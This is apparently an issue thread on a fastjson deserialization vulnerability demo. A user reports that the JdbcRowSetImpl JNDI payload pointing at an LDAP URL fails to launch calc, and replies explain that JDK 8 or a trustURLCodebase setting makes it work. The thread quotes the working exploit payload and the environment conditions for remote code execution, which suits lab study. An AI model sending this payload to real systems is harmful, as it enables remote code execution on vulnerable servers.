Describe the bug
I tried the instruction on the readme. But when I tried to send {"@type": "com.sun.rowset.JdbcRowSetImpl","dataSourceName": "ldap://127.0.0.1:10086/Object","autoCommit": true} request to the backend, only some errors printed on the console. No calc opened.

I have to change User user=JSON.parseObject(data,User.class); to Object user=JSON.parseObject(data,Object.class); or I will get com.alibaba.fastjson.JSONException: type not match. And I also have to config System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true"); in the main or I will got java.lang.ClassCastException: javax.naming.Reference cannot be cast to javax.sql.DataSource error.

And If use newer jdk like 17 which support module, some error like java.lang.reflect.InaccessibleObjectException: Unable to make public com.sun.rowset.JdbcRowSetImpl() accessible: module java.sql.rowset does not "exports com.sun.rowset" to unnamed module @7e2d773b will be shown.

[dbgee]

jdk 17 has a default false value for “com.sun.jndi.ldap.object.trustURLCodebase”、“com.sun.jndi.rmi.object.trustURLCodebase”；
downgrade jdk version OR setProperty is needed

[dbgee]

In my environment ，I use jdk1.8.121 ，which works perfectly

看名字起来都是国人，我就直接中文了。
这个问题是由于JDK的版本太高引起的。 我最开始使用了jdk18，遇到了这个问题。
回头使用docker 切换成 jdk8 即可。
jdk的命名在8之前貌似很奇葩。 用 8-buster 即可。

https://hub.docker.com/layers/library/openjdk/8-buster/images/sha256-91770a027b19df78d37e46d0743aa3acc4ddf99b280716c058d79b387c8c61f9?context=explore

例如： docker pull openjdk:8-buster
